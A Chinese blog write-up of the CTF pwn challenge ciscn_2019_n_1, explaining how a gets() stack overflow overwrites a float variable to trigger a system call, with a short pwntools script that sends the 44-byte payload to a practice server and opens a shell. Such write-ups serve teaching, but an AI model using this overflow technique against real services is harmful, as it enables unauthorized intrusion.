当前位置:网站首页>ciscn_2019_n_1
ciscn_2019_n_1
2022-07-23 23:28:00 【长街395】
一、查看文件
先file ./warmup_csaw_2016查看文件类型再checksec --file=warmup_csaw_2016检查一下文件保护情况。


二、IDA反编译
反编译后觉得好像和前几道题不太一样了
看来看去有个函数比较可疑:
双击func()函数查看源码可以看到当v2 = 11.28125时会有一个系统调用。
查看汇编代码双击cs:dword_4007F4可以看到11.28125在内存中的16进制表示为0x41348000。
查看栈结构,此处var_30是v1,而var_4是v2,需要(0x30-0x04)=44个字节就能让栈溢出,最后再填入11.28125对应的十六进制数0x41348000。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 26965)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

总结
还是一道栈溢出的题,我们在那个可疑的函数里发现有两个变量,v1,v2,其中只有v1
可以通过gets()函数输入,但我们的判断的条件是v2=??一个数,我们如和更改v2
值呢,答案是通过v1的溢出来改变v2里的值。
边栏推荐
- strncat() strncmp()
- Grey correlation analysis (matlab)
- ES6 other syntax and extended syntax summary
- AutoCAD advanced operation
- 1000个Okaleido Tiger首发上线Binance NFT,引发抢购热潮
- Series of articles | the way to advance the microservice architecture in the cloud native era - best practices of microservice splitting
- Intel英特尔RealSense实感深度摄像头 自校准(Self-Calibration)操作步骤讲解 D400系列适用
- 1、 Simplification of digital logic
- SQL语句实战学习
- Build your own target detection environment, model configuration, data configuration mmdetection
猜你喜欢

What is the difference between go run, go build and go install

TAP 系列文章6 | TAP的应用模型

Build your own target detection environment, model configuration, data configuration mmdetection

Grey prediction (matlab)

BGP routing, MPLS
![[redis] redis installation and client redis cli use (batch operation)](/img/d7/7500e99bc3cf172f895a47aec0b44c.png)
[redis] redis installation and client redis cli use (batch operation)
![[SSM]前后台协议联调②](/img/ed/6a42e19f384fa0d4a039e52f5a95f4.png)
[SSM]前后台协议联调②

Open source embedded sig in the openeuler community. Let's talk about its multi OS hybrid deployment framework
![[leetcode ladder] the penultimate node in the 022 linked list](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[leetcode ladder] the penultimate node in the 022 linked list

STM32F4查看系统各部分频率
随机推荐
汇编语言伪指令详解(附实例)
Tap series article 9 | application development accelerator
[leetcode ladder] linked list · 203 remove linked list elements
Smart IOT source code with configuration IOT source code industrial IOT source code: support sensor analysis services, real-time data collection and remote control
A great open source micro community light forum source code
2、 Digital logic functional unit
Sql156 average completion rate of each video
[web vulnerability exploration] SQL injection vulnerability
二,数字逻辑功能单元
Lu Xia action | Source Kai Digital: Existing Mode or open source innovation?
Can Intel NUC replace the host_ It's finally perfect! The latest Intel NUC Mini host comes online
Tap series article 7 | easy to manage pipeline configuration
48: Chapter 5: develop admin management service: 1: create sub project [imooc news dev Service Admin], management service module;
mysqlbinlog命令介绍(远程拉取binlog日志)
The canfd/can interface offline burning operation instructions of h7-tool have been updated (2022-07-12)
Tap series article 5 | cloud native build service
Remember an experience of being cheated by the Internet
A deserialized CTF question sharing
Intel英特尔RealSense实感深度摄像头 自校准(Self-Calibration)操作步骤讲解 D400系列适用
Go language multiple return values and return error types